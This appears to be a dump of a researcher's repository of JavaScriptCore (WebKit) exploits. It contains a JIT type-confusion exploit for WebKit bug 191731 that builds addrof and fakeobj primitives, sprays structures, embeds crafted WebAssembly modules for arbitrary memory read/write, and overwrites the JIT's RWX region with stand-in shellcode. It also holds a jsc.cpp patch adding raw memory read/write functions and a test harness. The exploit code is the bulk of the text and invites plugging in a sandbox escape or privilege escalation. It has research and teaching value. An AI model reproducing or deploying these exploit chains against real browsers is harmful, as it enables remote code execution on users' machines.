0x10).asDouble(); 624 | victim.prop = this.fakeobj(what); 625 | }, 626 | 627 | read64: function(addr) { 628 | driver[1] = Add(addr, 0x10).asDouble(); 629 | return this.addrof(victim.prop); 630 | } 631 | }; 632 | 633 | print("[+] Got arbitrary memory read/write!"); 634 | 635 | // 636 | // Upgraded exploit primitives finally allow arbitrary memory read/write. 637 | // We're going to use them in order to leak the address of a RWX memory 638 | // region, and later patch it with shellcode. 639 | // 640 | // Creating the RWX memory region is prerogative of the JIT compiler, so 641 | // we're gonna instruct it to do so. 642 | // 643 | 644 | var shellcodeFunc = makeJITCompiledFunction(); 645 | 646 | // 647 | // Now that the JIT has successfully compiled the target function, it's 648 | // just a matter of traverse its data structure in order to access the 649 | // informations about the RWX memory region it points to. 650 | // 651 | // First of all, 'shellcodeFunc' is a JSFunction: 652 | // 653 | // +0 { 40} JSFunction 654 | // +0 { 24} JSC::JSCallee 655 | // +0 { 16} JSC::JSNonFinalObject 656 | // +0 { 16} JSC::JSObject 657 | // +0 { 8} JSC::JSCell 658 | // +0 { 1} JSC::HeapCell 659 | // +0 < 4> JSC::StructureID m_structureID; 660 | // +4 < 1> JSC::IndexingType m_indexingTypeAndMisc; 661 | // +5 < 1> JSC::JSType m_type; 662 | // +6 < 1> JSC::TypeInfo::InlineTypeFlags m_flags; 663 | // +7 < 1> JSC::CellState m_cellState; 664 | // +8 < 8> JSC::AuxiliaryBarrier m_butterfly; 665 | // +8 < 8> JSC::Butterfly * m_value; 666 | // +16 < 8> JSC::WriteBarrier > m_scope; 667 | // +16 { 8} JSC::WriteBarrierBase > 668 | // +16 < 8> JSC::WriteBarrierBase >::StorageType m_cell; 669 | // +24 < 8> JSC::WriteBarrier, JSC::ExecutableBase> > m_executable; 670 | // +24 { 8} JSC::WriteBarrierBase, JSC::ExecutableBase> > 671 | // +24 < 8> 672 | // +32 < 8> JSC::WriteBarrier, JSC::FunctionRareData> > m_rareData; 673 | // +32 { 8} JSC::WriteBarrierBase, JSC::FunctionRareData> > 674 | // +32 < 8> 675 | // 676 | 677 | var shellcodeFuncAddr = primitives.addrof(shellcodeFunc); 678 | print("[+] Shellcode function @ " + shellcodeFuncAddr); 679 | 680 | // 681 | // The field 'm_executable' (offset 24) seems like a reasonable path to inspect. 682 | // 683 | 684 | var executableAddr = primitives.read64(Add(shellcodeFuncAddr, 24)); 685 | print("[+] Executable instance @ " + executableAddr); 686 | 687 | // 688 | // 'executableAddr' now points to an ExecutableBase: 689 | // 690 | // +0 { 56} ExecutableBase 691 | // +0 { 8} JSC::JSCell 692 | // +0 { 1} JSC::HeapCell 693 | // +0 < 4> JSC::StructureID m_structureID; 694 | // +4 < 1> JSC::IndexingType m_indexingTypeAndMisc; 695 | // +5 < 1> JSC::JSType m_type; 696 | // +6 < 1> JSC::TypeInfo::InlineTypeFlags m_flags; 697 | // +7 < 1> JSC::CellState m_cellState; 698 | // +8 < 4> int m_numParametersForCall; 699 | // +12 < 4> int m_numParametersForConstruct; 700 | // +16 < 4> JSC::Intrinsic m_intrinsic; 701 | // +20 < 4> 702 | // +24 < 8> WTF::RefPtr > m_jitCodeForCall; 703 | // +24 < 8> WTF::DumbPtrTraits::StorageType m_ptr; 704 | // +32 < 8> WTF::RefPtr > m_jitCodeForConstruct; 705 | // +32 < 8> 706 | // +40 < 8> JSC::MacroAssemblerCodePtr<357> m_jitCodeForCallWithArityCheck; 707 | // +40 { 1} JSC::MacroAssemblerCodePtrBase 708 | // +40 < 8> WTF::Poisoned, void *> m_value; 709 | // +40 < 8> WTF::PoisonedBits m_poisonedBits; 710 | // +48 < 8> JSC::MacroAssemblerCodePtr<357> m_jitCodeForConstructWithArityCheck; 711 | // +48 < 8> 712 | // 713 | 714 | // 715 | // As our interest revolves around the memory area containing the compiled function, 716 | // the field 'm_jitCodeForCall' (offset 24) seems like the way to go. 717 | // 718 | 719 | var jitCodeAddr = primitives.read64(Add(executableAddr, 24)); 720 | print("[+] JITCode instance @ " + jitCodeAddr); 721 | 722 | // 723 | // And this is the JITCode which is being pointed by 'jitCodeAddr': 724 | // 725 | // +0 {536} JITCode 726 | // +0 { 40} JSC::DirectJITCode 727 | // +0 { 32} JSC::JITCodeWithCodeRef 728 | // +0 { 16} JSC::JITCode 729 | // +0 < 8> __vtbl_ptr_type * _vptr; 730 | // +8 { 4} WTF::ThreadSafeRefCounted 731 | // +8 { 4} WTF::ThreadSafeRefCountedBase 732 | // +8 < 4> std::__1::atomic m_refCount; 733 | // +8 { 4} std::__1::__atomic_base 734 | // +8 { 4} std::__1::__atomic_base 735 | // +8 < 4> unsigned int __a_; 736 | // +12 < 1> JSC::JITCode::JITType m_jitType; 737 | // +13 < 3> 738 | // +13 < 3> 739 | // +16 < 16> JSC::MacroAssemblerCodeRef<357> m_ref; 740 | // +16 { 1} JSC::MacroAssemblerCodeRefBase 741 | // +16 < 8> JSC::MacroAssemblerCodePtr<357> m_codePtr; 742 | // +16 { 1} JSC::MacroAssemblerCodePtrBase 743 | // +16 < 8> WTF::Poisoned, void *> m_value; 744 | // +16 < 8> WTF::PoisonedBits m_poisonedBits; 745 | // +24 < 8> WTF::RefPtr > m_executableMemory; 746 | // +24 < 8> WTF::DumbPtrTraits::StorageType m_ptr; 747 | // +32 < 8> JSC::MacroAssemblerCodePtr<357> m_withArityCheck; 748 | // +32 < 8> 749 | // +32 < 8> 750 | // ... 751 | // 752 | 753 | // 754 | // Finally, 'm_withArityCheck' (offset 32) is the field which points inside the RWX region. 755 | // 756 | // lldb output (with 'm_withArityCheck' pointing at 0x00005eb7bfc0ece4): 757 | // 758 | // (lldb) memory region 0x00005eb7bfc0ece4 759 | // [0x00005eb7bfc01000-0x00005eb7ffc01000) rwx 760 | // 761 | 762 | var rwxMemAddr = primitives.read64(Add(jitCodeAddr, 32)); 763 | print("[+] RWX memory @ " + rwxMemAddr); 764 | 765 | // 766 | // Ensure we're running on macOS by analysing the prologue 767 | // of the JIT function. 768 | // 769 | if (!isMacOS(primitives.read64(rwxMemAddr).bytes())) 770 | throw "iOS is not supported (yet?)"; 771 | 772 | // 773 | // Only thing left to do, is to replace the current RWX memory region with shellcode, 774 | // and then invoke 'shellcodeFunc'. 775 | // 776 | // I'm just going to make the process crash; if you have something cool to run (like 777 | // a sanbox-escape, and LPE etc), well... you're supposed to run it here. 778 | // 779 | for (var i = 0; i < 10; i++) 780 | primitives.write64(Add(rwxMemAddr, i * 8), new Int64(0xbadbeef)); 781 | 782 | print("[!] Jumping into shellcode..."); 783 | 784 | var res = shellcodeFunc(); 785 | 786 | if (res === 0) 787 | print("[+] Shellcode executed sucessfully!"); 788 | else 789 | print("[-] Shellcode failed to execute: error " + res); 790 | } 791 | 792 | ready.then(function() { 793 | try { 794 | pwn(); 795 | } catch (e) { 796 | print("[-] Exception caught: " + e); 797 | } 798 | }).catch(function(err) { 799 | print("[-] Initialization failed"); 800 | }); -------------------------------------------------------------------------------- /JavaScriptCore/primitives/0001-exploit-primitives.patch: -------------------------------------------------------------------------------- 1 | From 42aaa0f14869274c7668e6ee999b108738eba9cf Mon Sep 17 00:00:00 2001 2 | From: W00dL3cs 3 | Date: Tue, 6 Nov 2018 18:19:17 +0400 4 | Subject: [PATCH] JavaScriptCore exploit primitives 5 | 6 | --- 7 | Source/JavaScriptCore/jsc.cpp | 87 +++++++++++++++++++++++++++++++++++ 8 | 1 file changed, 87 insertions(+) 9 | 10 | diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp 11 | index e550a7244b6..ad080b06045 100644 12 | --- a/Source/JavaScriptCore/jsc.cpp 13 | +++ b/Source/JavaScriptCore/jsc.cpp 14 | @@ -285,6 +285,9 @@ static EncodedJSValue JSC_HOST_CALL functionCreateGlobalObject(ExecState*); 15 | static EncodedJSValue JSC_HOST_CALL functionPrintStdOut(ExecState*); 16 | static EncodedJSValue JSC_HOST_CALL functionPrintStdErr(ExecState*); 17 | static EncodedJSValue JSC_HOST_CALL functionDebug(ExecState*); 18 | +static EncodedJSValue JSC_HOST_CALL functionDbg(ExecState*); 19 | +static EncodedJSValue JSC_HOST_CALL functionRead64(ExecState*); 20 | +static EncodedJSValue JSC_HOST_CALL functionWrite64(ExecState*); 21 | static EncodedJSValue JSC_HOST_CALL functionDescribe(ExecState*); 22 | static EncodedJSValue JSC_HOST_CALL functionDescribeArray(ExecState*); 23 | static EncodedJSValue JSC_HOST_CALL functionSleepSeconds(ExecState*); 24 | @@ -297,6 +300,7 @@ static EncodedJSValue JSC_HOST_CALL functionHeapSize(ExecState*); 25 | static EncodedJSValue JSC_HOST_CALL functionCreateMemoryFootprint(ExecState*); 26 | static EncodedJSValue JSC_HOST_CALL functionResetMemoryPeak(ExecState*); 27 | static EncodedJSValue JSC_HOST_CALL functionAddressOf(ExecState*); 28 | +static EncodedJSValue JSC_HOST_CALL functionFakeObj(ExecState*); 29 | static EncodedJSValue JSC_HOST_CALL functionVersion(ExecState*); 30 | static EncodedJSValue JSC_HOST_CALL functionRun(ExecState*); 31 | static EncodedJSValue JSC_HOST_CALL functionRunString(ExecState*); 32 | @@ -498,6 +502,9 @@ protected: 33 | Base::finishCreation(vm); 34 | 35 | addFunction(vm, "debug", functionDebug, 1); 36 | + addFunction(vm, "dbg", functionDbg, 0); 37 | + addFunction(vm, "read64", functionRead64, 1); 38 | + addFunction(vm, "write64", functionWrite64, 2); 39 | addFunction(vm, "describe", functionDescribe, 1); 40 | addFunction(vm, "describeArray", functionDescribeArray, 1); 41 | addFunction(vm, "print", functionPrintStdOut, 1); 42 | @@ -511,6 +518,7 @@ protected: 43 | addFunction(vm, "MemoryFootprint", functionCreateMemoryFootprint, 0); 44 | addFunction(vm, "resetMemoryPeak", functionResetMemoryPeak, 0); 45 | addFunction(vm, "addressOf", functionAddressOf, 1); 46 | + addFunction(vm, "fakeObj", functionFakeObj, 1); 47 | addFunction(vm, "version", functionVersion, 1); 48 | addFunction(vm, "run", functionRun, 1); 49 | addFunction(vm, "runString", functionRunString, 1); 50 | @@ -1224,6 +1232,70 @@ EncodedJSValue JSC_HOST_CALL functionDebug(ExecState* exec) 51 | return JSValue::encode(jsUndefined()); 52 | } 53 | 54 | +#if PLATFORM(IOS_FAMILY) && CPU(ARM64) 55 | +#define __debugbreak() __asm__ __volatile__( \ 56 | +" mov x0, %x0; \n" /* pid */ \ 57 | +" mov x1, #0x11; \n" /* SIGSTOP */ \ 58 | +" mov x16, #0x25; \n" /* syscall 37 = kill */ \ 59 | +" svc #0x80 \n" /* software interrupt */ \ 60 | +" mov x0, x0 \n" /* nop */ \ 61 | +:: "r"(getpid()) \ 62 | +: "x0", "x1", "x16", "memory") 63 | +#elif PLATFORM(IOS_FAMILY) 64 | +#define __debugbreak() __asm__ __volatile__( \ 65 | +" mov r0, %0; \n" /* pid */ \ 66 | +" mov r1, #0x11; \n" /* SIGSTOP */ \ 67 | +" mov r12, #0x25; \n" /* syscall 37 = kill */ \ 68 | +" svc #0x80 \n" /* software interrupt */ \ 69 | +" mov r0, r0 \n" /* nop */ \ 70 | +:: "r"(getpid()) \ 71 | +: "r0", "r1", "r12", "memory") 72 | +#elif OS(DARWIN) && CPU(X86_64) 73 | +#define __debugbreak() __asm__ __volatile__("int $3; mov %eax, %eax") 74 | +#endif 75 | + 76 | +EncodedJSValue JSC_HOST_CALL functionDbg(ExecState*) 77 | +{ 78 | + __debugbreak(); 79 | + return JSValue::encode(jsUndefined()); 80 | +} 81 | + 82 | + 83 | +EncodedJSValue JSC_HOST_CALL functionRead64(ExecState* exec) 84 | +{ 85 | + if (exec->argumentCount() < 1) 86 | + return JSValue::encode(jsUndefined()); 87 | + 88 | + JSValue value = exec->argument(0); 89 | + if (!value.isDouble()) 90 | + return JSValue::encode(jsUndefined()); 91 | + 92 | + int64_t address = bitwise_cast(value.asDouble()); 93 | + int64_t valueAtAddress = (int64_t)(*(int64_t*)address); 94 | + 95 | + EncodedJSValue returnValue = JSValue::encode(jsNumber(bitwise_cast(valueAtAddress))); 96 | + return returnValue; 97 | +} 98 | + 99 | +EncodedJSValue JSC_HOST_CALL functionWrite64(ExecState* exec) 100 | +{ 101 | + if (exec->argumentCount() < 2) 102 | + return JSValue::encode(jsUndefined()); 103 | + 104 | + JSValue what = exec->argument(0); 105 | + JSValue where = exec->argument(1); 106 | + 107 | + if (!what.isDouble() || !where.isDouble()) 108 | + return JSValue::encode(jsUndefined()); 109 | + 110 | + int64_t address = bitwise_cast(where.asDouble()); 111 | + int64_t valueAtAddress = bitwise_cast(what.asDouble()); 112 | + 113 | + *((int64_t*)address) = valueAtAddress; 114 | + 115 | + return JSValue::encode(jsUndefined()); 116 | +} 117 | + 118 | EncodedJSValue JSC_HOST_CALL functionDescribe(ExecState* exec) 119 | { 120 | if (exec->argumentCount() < 1) 121 | @@ -1396,6 +1468,21 @@ EncodedJSValue JSC_HOST_CALL functionAddressOf(ExecState* exec) 122 | return returnValue; 123 | } 124 | 125 | +EncodedJSValue JSC_HOST_CALL functionFakeObj(ExecState* exec) 126 | +{ 127 | + if (exec->argumentCount() < 1) 128 | + return JSValue::encode(jsUndefined()); 129 | + 130 | + JSValue where = exec->argument(0); 131 | + if (!where.isDouble()) 132 | + return JSValue::encode(jsUndefined()); 133 | + 134 | + int64_t address = bitwise_cast(where.asDouble()); 135 | + 136 | + EncodedJSValue returnValue = JSValue::encode((JSCell*)address); 137 | + return returnValue; 138 | +} 139 | + 140 | EncodedJSValue JSC_HOST_CALL functionVersion(ExecState*) 141 | { 142 | // We need this function for compatibility with the Mozilla JS tests but for now 143 | -- 144 | 2.17.2 (Apple Git-113) 145 | 146 | -------------------------------------------------------------------------------- /JavaScriptCore/primitives/pwn.js: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2018 Alexandro Luongo (w00dl3cs). 3 | */ 4 | 5 | function loadScript(script) { 6 | if (typeof(load) !== 'undefined') { 7 | var baseDirectory = "~/projects/exploitation/webkit_pwn/exploits/core/"; 8 | load(baseDirectory + script); 9 | } 10 | } 11 | 12 | loadScript("ready.js"); 13 | loadScript("utils.js"); 14 | loadScript("int64.js"); 15 | 16 | var primitives = { 17 | addrof: function(obj) { 18 | var addr = addressOf(obj); 19 | return Int64.fromDouble(addr); 20 | }, 21 | fakeobj: function(addr) { 22 | if (addr instanceof Int64) 23 | addr = addr.asDouble(); 24 | 25 | return fakeObj(addr); 26 | }, 27 | read64: function(where) { 28 | if (where instanceof Int64) 29 | where = where.asDouble(); 30 | 31 | return Int64.fromDouble(read64(where)); 32 | }, 33 | write64: function(what, where) { 34 | if (what instanceof Int64) 35 | what = what.asDouble(); 36 | 37 | if (where instanceof Int64) 38 | where = where.asDouble(); 39 | 40 | write64(what, where); 41 | }, 42 | test: function() { 43 | var obj = { a: 0x1337 }; 44 | var objAddr = this.addrof(obj); 45 | var fakeObj = this.fakeobj(objAddr); 46 | 47 | if (fakeObj.a != obj.a) 48 | throw "addrof/fakeobj primitives are not working!"; 49 | 50 | var objCell = this.read64(objAddr); 51 | var fakeObjCell = new Int64(obj.a); 52 | primitives.write64(fakeObjCell, objAddr); 53 | var newObjCell = primitives.read64(objAddr); 54 | 55 | if (newObjCell.toString() != fakeObjCell.toString()) 56 | throw "read/write primitives are not working!" 57 | 58 | primitives.write64(objCell, objAddr); 59 | } 60 | }; 61 | 62 | function init() { 63 | primitives.test(); 64 | } 65 | 66 | function pwn() { 67 | print("Exploit me, daddy"); 68 | } 69 | 70 | ready.then(function() { 71 | try { 72 | init(); 73 | pwn(); 74 | } catch (e) { 75 | print("[-] Exception caught: " + e); 76 | } 77 | }).catch(function(err) { 78 | print("[-] Initialization failed"); 79 | }); 80 | -------------------------------------------------------------------------------- /JavaScriptCore/regexp_exploit.js: -------------------------------------------------------------------------------- 1 | /* 2 | الأفعال أبلغ من الأقوال 3 | "Actions speak louder than words" 4 | 5 | Alexandro Luongo (@w00dl3cs) 6 | */ 7 | 8 | // 9 | // Exploit primitives 10 | // 11 | // Bug Tracker: https://bugs.webkit.org/show_bug.cgi?id=191731 12 | // WebKit Commit: https://github.com/WebKit/webkit/commit/7cf9d2911af9f255e0301ea16604c9fa4af340e2 13 | // 14 | // "RegExp operations should not take fast path if lastIndex is not numeric" 15 | // 16 | // The DFG JIT does not take into account that regular expressions are not 17 | // side-effects free. Installing an handler on the 'lastIndex' property, 18 | // in fact, it's possible to run arbitrary javascript. 19 | // As DFG does not bail-out, this might possibly lead to a type confusion. 20 | // 21 | var primitives = { 22 | // 23 | // addrof: leak the address of an arbitrary JavaScript object 24 | // 25 | // Allocate an unboxed array (ArrayWithDouble), then make it boxed (ArrayWithContiguous) 26 | // by inserting a JSObject through a side-effect call triggered inside a JIT-compiled function. 27 | // As the optimized routine still thinks the array contains unboxed values, it's 28 | // possible to retrieve the new inserted item with the engine treating it as double, while 29 | // instead it's a JSValue (pointer). 30 | // 31 | addrof: function(obj) { 32 | // Allocate an unboxed array (ArrayWithDouble) 33 | var arg = [1.1, 2.2, 3.3]; 34 | 35 | var regexp = /a/y; 36 | 37 | function InfoLeaker(arg) { 38 | // Trigger the side-effect, invoking 'regexp.lastIndex.toString()' 39 | regexp[Symbol.match](obj === null); 40 | 41 | // 'arg[0]' is now a JSValue, but the routine is not aware of it 42 | return arg[0]; 43 | } 44 | 45 | // Force JIT compilation of the InfoLeaker routine 46 | for (var i = 0; i < 100000; ++i) 47 | InfoLeaker(arg); 48 | 49 | // Installing an handler on 'valueOf' or 'toString' 50 | // allows executing arbitrary code without DFG bailing-out 51 | regexp.lastIndex = { 52 | valueOf: () => { 53 | // 'arg[0]' will be replaced with a pointer to 'obj' 54 | arg[0] = obj; 55 | return 0; 56 | } 57 | }; 58 | 59 | var addr = InfoLeaker(arg); 60 | 61 | if (addr !== 1.1 && typeof addr !== 'object') 62 | return Int64.fromDouble(addr); 63 | 64 | throw "Could not leak address using 'addrof' primitive!" 65 | }, 66 | 67 | // 68 | // fakeobj: inject arbitrary objects into the JavaScript engine 69 | // 70 | // Allocate an unboxed array (ArrayWithDouble), then make it boxed (ArrayWithContiguous) 71 | // by inserting a JSObject through a side-effect call triggered inside a JIT-compiled function. 72 | // As the optimized routine still thinks the array contains unboxed values, it's 73 | // possible to replace the new inserted item with a double, having the engine treat it 74 | // as a JSValue (pointer) instead. 75 | // 76 | fakeobj: function(addr) { 77 | // Allocate an unboxed array (ArrayWithDouble) 78 | var arg = [1.1, 2.2, 3.3]; 79 | 80 | var regexp = /a/y; 81 | 82 | function ObjFaker(arg) { 83 | // Trigger the side-effect, invoking 'regexp.lastIndex.toString()' 84 | regexp[Symbol.match](addr === null); 85 | 86 | // 'arg' is now ArrayWithContiguous, but the routine is not aware of it 87 | arg[0] = addr; 88 | } 89 | 90 | // Force JIT compilation of the ObjFaker routine 91 | for (var i = 0; i < 100000; ++i) 92 | ObjFaker(arg); 93 | 94 | // Installing an handler on 'valueOf' or 'toString' 95 | // allows executing arbitrary code without DFG bailing-out 96 | regexp.lastIndex = { 97 | valueOf: () => { 98 | // 'arg[0]' will be replaced with a pointer 99 | arg[0] = {}; 100 | return 0; 101 | } 102 | }; 103 | 104 | ObjFaker(arg); 105 | 106 | var obj = arg[0]; 107 | 108 | if (typeof obj === 'object') 109 | return obj; 110 | 111 | throw "Could not inject fake object using 'fakeobj' primitive!" 112 | } 113 | }; 114 | 115 | // 116 | // WebAssembly modules used for exploitation. 117 | // Kudos to Linus Henze for his memory read/write module! 118 | // 119 | const webAssemblyModules = { 120 | arbitraryReadWrite: [ 121 | 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 122 | 0x01, 0x0b, 0x02, 0x60, 0x01, 0x7f, 0x01, 0x7f, 123 | 0x60, 0x02, 0x7f, 0x7f, 0x00, 0x02, 0x10, 0x01, 124 | 0x07, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 125 | 0x03, 0x6d, 0x65, 0x6d, 0x02, 0x00, 0x02, 0x03, 126 | 0x07, 0x06, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 127 | 0x07, 0x44, 0x06, 0x08, 0x72, 0x65, 0x61, 0x64, 128 | 0x5f, 0x69, 0x33, 0x32, 0x00, 0x00, 0x09, 0x77, 129 | 0x72, 0x69, 0x74, 0x65, 0x5f, 0x69, 0x33, 0x32, 130 | 0x00, 0x01, 0x08, 0x72, 0x65, 0x61, 0x64, 0x5f, 131 | 0x69, 0x31, 0x36, 0x00, 0x02, 0x09, 0x77, 0x72, 132 | 0x69, 0x74, 0x65, 0x5f, 0x69, 0x31, 0x36, 0x00, 133 | 0x03, 0x07, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x69, 134 | 0x38, 0x00, 0x04, 0x08, 0x77, 0x72, 0x69, 0x74, 135 | 0x65, 0x5f, 0x69, 0x38, 0x00, 0x05, 0x0a, 0x46, 136 | 0x06, 0x0b, 0x00, 0x20, 0x00, 0x41, 0x04, 0x6c, 137 | 0x28, 0x02, 0x00, 0x0f, 0x0b, 0x0c, 0x00, 0x20, 138 | 0x00, 0x41, 0x04, 0x6c, 0x20, 0x01, 0x36, 0x02, 139 | 0x00, 0x0b, 0x0b, 0x00, 0x20, 0x00, 0x41, 0x02, 140 | 0x6c, 0x2f, 0x01, 0x00, 0x0f, 0x0b, 0x0c, 0x00, 141 | 0x20, 0x00, 0x41, 0x02, 0x6c, 0x20, 0x01, 0x3b, 142 | 0x01, 0x00, 0x0b, 0x08, 0x00, 0x20, 0x00, 0x2d, 143 | 0x00, 0x00, 0x0f, 0x0b, 0x09, 0x00, 0x20, 0x00, 144 | 0x20, 0x01, 0x3a, 0x00, 0x00, 0x0b 145 | ], 146 | 147 | remoteCodeExecution: [ 148 | 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 149 | 0x01, 0x04, 0x01, 0x60, 0x00, 0x00, 0x02, 0x1e, 150 | 0x01, 0x07, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 151 | 0x73, 0x12, 0x6c, 0x65, 0x61, 0x6b, 0x45, 0x78, 152 | 0x65, 0x63, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 153 | 0x50, 0x61, 0x67, 0x65, 0x00, 0x00, 0x03, 0x02, 154 | 0x01, 0x00, 0x07, 0x0f, 0x01, 0x0b, 0x74, 0x72, 155 | 0x69, 0x67, 0x67, 0x65, 0x72, 0x4c, 0x65, 0x61, 156 | 0x6b, 0x00, 0x01, 0x0a, 0x06, 0x01, 0x04, 0x00, 157 | 0x10, 0x00, 0x0b, 0x00, 0x38, 0x04, 0x6e, 0x61, 158 | 0x6d, 0x65, 0x01, 0x2a, 0x02, 0x00, 0x1a, 0x69, 159 | 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x2e, 0x6c, 160 | 0x65, 0x61, 0x6b, 0x45, 0x78, 0x65, 0x63, 0x75, 161 | 0x74, 0x61, 0x62, 0x6c, 0x65, 0x50, 0x61, 0x67, 162 | 0x65, 0x01, 0x0b, 0x74, 0x72, 0x69, 0x67, 0x67, 163 | 0x65, 0x72, 0x4c, 0x65, 0x61, 0x6b, 0x02, 0x05, 164 | 0x02, 0x00, 0x00, 0x01, 0x00 165 | ] 166 | }; 167 | 168 | var structs = []; 169 | 170 | function sprayStructures() { 171 | for (var i = 0; i < 0x100; i++) { 172 | var a = new WebAssembly.Memory({ inital: 0x1 }); 173 | a['prop' + i] = 1337; 174 | structs.push(a); 175 | } 176 | } 177 | 178 | function isMacOS(rwxPrologue) { 179 | // 180 | // 0x0000000000000000: push rbp 181 | // 0x0000000000000001: mov rbp, rsp 182 | // 183 | var macOSPrologue = [0x55, 0x48, 0x89, 0xe5]; 184 | 185 | return (rwxPrologue.length >= macOSPrologue.length && macOSPrologue.every((op, i) => rwxPrologue[i] === op)); 186 | } 187 | 188 | function loadWebAssemblyModule(webAssemblyCode) { 189 | return new WebAssembly.Module(new Uint8Array(webAssemblyCode)); 190 | } 191 | 192 | // 193 | // This routine returns an object capable to perform memory read/write 194 | // operations through the use of a custom WebAssembly module built ad-hoc. 195 | // 196 | function getWebAssemblyMemoryAccess(webAssemblyModule, importObject) { 197 | var module = new WebAssembly.Instance(webAssemblyModule, importObject); 198 | 199 | return { 200 | read_i8: module.exports.read_i8, 201 | write_i8: module.exports.write_i8, 202 | 203 | read_i16: module.exports.read_i16, 204 | write_i16: module.exports.write_i16, 205 | 206 | read_i32: module.exports.read_i32, 207 | write_i32: module.exports.write_i32, 208 | 209 | read_i64: function(offset) { 210 | var result = Int64.Zero; 211 | for (var i = 0; i < 4; i++) 212 | result = Add(result, ShiftLeft(module.exports.read_i16((offset * 4) + i), i * 2)); 213 | return result; 214 | }, 215 | 216 | write_i64: function(offset, value) { 217 | for (var i = 0; i < 4; i++) 218 | module.exports.write_i16((offset * 4) + i, ShiftRight(value, i * 2).asInt16()); 219 | } 220 | }; 221 | } 222 | 223 | // 224 | // The technique used to obtain arbitrary memory read/write primitives 225 | // using WebAssembly has first been demonstrated by Linus Henze in Dec, 2018. 226 | // The one presented in this writeup is my revisited version, hope he 227 | // won't get mad at me for stealing his idea :P 228 | // 229 | function pwn() { 230 | // 231 | // Spray JSWebAssemblyMemory structures so that we'll be able to guess a 232 | // JSWebAssemblyMemory StructureID with very high probability later on. 233 | // 234 | sprayStructures(); 235 | 236 | // 237 | // The WebAssembly modules used during exploitation have been crafted ad-hoc. 238 | // This one in particular exposes functions to read or write data to the 239 | // WebAssembly memory instance it's been connected to. 240 | // 241 | var arbitraryReadWriteWasmModule = loadWebAssemblyModule(webAssemblyModules.arbitraryReadWrite); 242 | 243 | // 244 | // During structure spraying, we've allocated 256 JSWebAssemblyMemory objects. 245 | // Let's use one of them for our arbitrary read/write primitives. 246 | // Killing two birds with one stone. 247 | // 248 | var realjsWasmMemory = structs[Math.floor(Math.random() * structs.length)]; 249 | 250 | // 251 | // StructureIDs allocated during spraying should range between 380 and 570. 252 | // Any number in-between should provide us with a structure id we can use 253 | // to fake a valid Array. If that's not going to be the case, however, 254 | // we're gonna attempt to brute-force such identifier. 255 | // 512 (0x200) seems like a reasonable number to start from. 256 | // 257 | var jsCellHeader = new Int64([ 258 | 0x00, 0x02, 0x00, 0x00, // m_structureID (0x00000200) 259 | 0x0, // m_indexingTypeAndMisc (NoIndexingShape) 260 | 0x15, // m_type (ObjectType) 261 | 0x0, // m_flags 262 | 0x1 // m_cellState (DefinitelyWhite) 263 | ]); 264 | 265 | // 266 | // JavaScriptCore uses two different sets of objects when dealing with WebAssembly. 267 | // As we're interested in constructing arbitrary memory read/write primitives, 268 | // let's focus on the WebAssembly memory ones. 269 | // 270 | // In particular way, objects identifying WebAssembly memory having interactions 271 | // with the JavaScript code itself are represented as JSWebAssemblyMemory: 272 | // 273 | // +0 < 48> JSWebAssemblyMemory 274 | // +0 < 24> JSC::JSDestructibleObject JSC::JSDestructibleObject 275 | // +0 < 16> JSC::JSNonFinalObject JSC::JSNonFinalObject 276 | // +0 < 16> JSC::JSObject JSC::JSObject 277 | // +0 < 8> JSC::JSCell JSC::JSCell 278 | // +0 < 1> JSC::HeapCell JSC::HeapCell 279 | // +0 < 4> JSC::StructureID m_structureID 280 | // +4 < 1> JSC::IndexingType m_indexingTypeAndMisc 281 | // +5 < 1> JSC::JSType m_type 282 | // +6 < 1> JSC::TypeInfo::InlineTypeFlags m_flags 283 | // +7 < 1> JSC::CellState m_cellState 284 | // +8 < 8> JSC::AuxiliaryBarrier m_butterfly 285 | // +8 < 8> JSC::Butterfly * m_value 286 | // +16 < 8> JSC::PoisonedClassInfoPtr m_classInfo 287 | // +16 < 8> WTF::PoisonedBits m_poisonedBits 288 | // +24 < 8> WTF::PoisonedRef m_memory 289 | // +24 < 8> WTF::PoisonedPtrTraits, JSC::Wasm::Memory>::StorageType m_ptr 290 | // +24 < 8> WTF::PoisonedBits m_poisonedBits 291 | // +32 < 8> JSC::PoisonedWriteBarrier m_bufferWrapper 292 | // +32 < 8> JSC::WriteBarrierBase, JSC::JSArrayBuffer> > JSC::WriteBarrierBase, JSC::JSArrayBuffer> > 293 | // +32 < 8> JSC::WriteBarrierBase, JSC::JSArrayBuffer> >::StorageType m_cell 294 | // +32 < 8> WTF::PoisonedBits m_poisonedBits 295 | // +40 < 8> WTF::PoisonedRefPtr m_buffer 296 | // +40 < 8> WTF::PoisonedPtrTraits, JSC::ArrayBuffer>::StorageType m_ptr 297 | // +40 < 8> WTF::PoisonedBits m_poisonedBits 298 | // 299 | // JSWebAssemblyMemory objects, in turn, keep a reference to the Wasm::Memory object 300 | // which contains the actual WebAssembly memory runtime data: 301 | // 302 | // +0 < 88> Memory 303 | // +0 < 8> WTF::RefCounted WTF::RefCounted 304 | // +0 < 8> WTF::RefCountedBase WTF::RefCountedBase 305 | // +0 < 4> unsigned int m_refCount 306 | // +4 < 1> bool m_deletionHasBegun 307 | // +5 < 1> bool m_adoptionIsRequired 308 | // +6 < 2> 309 | // +8 < 8> void * m_memory 310 | // +16 < 8> size_t m_size 311 | // +24 < 4> JSC::Wasm::PageCount m_initial 312 | // +24 < 4> uint32_t m_pageCount 313 | // +28 < 4> JSC::Wasm::PageCount m_maximum 314 | // +28 < 4> uint32_t m_pageCount 315 | // +32 < 8> size_t m_mappedCapacity 316 | // +40 < 1> JSC::Wasm::MemoryMode m_mode 317 | // +41 < 7> 318 | // +48 < 8> WTF::Function m_notifyMemoryPressure 319 | // +48 < 8> std::__1::unique_ptr > m_callableWrapper 320 | // +48 < 8> std::__1::__compressed_pair > __ptr_ 321 | // +48 < 8> std::__1::__compressed_pair_elem std::__1::__compressed_pair_elem 322 | // +48 < 8> CallableWrapperBase * __value_ 323 | // +48 < 1> 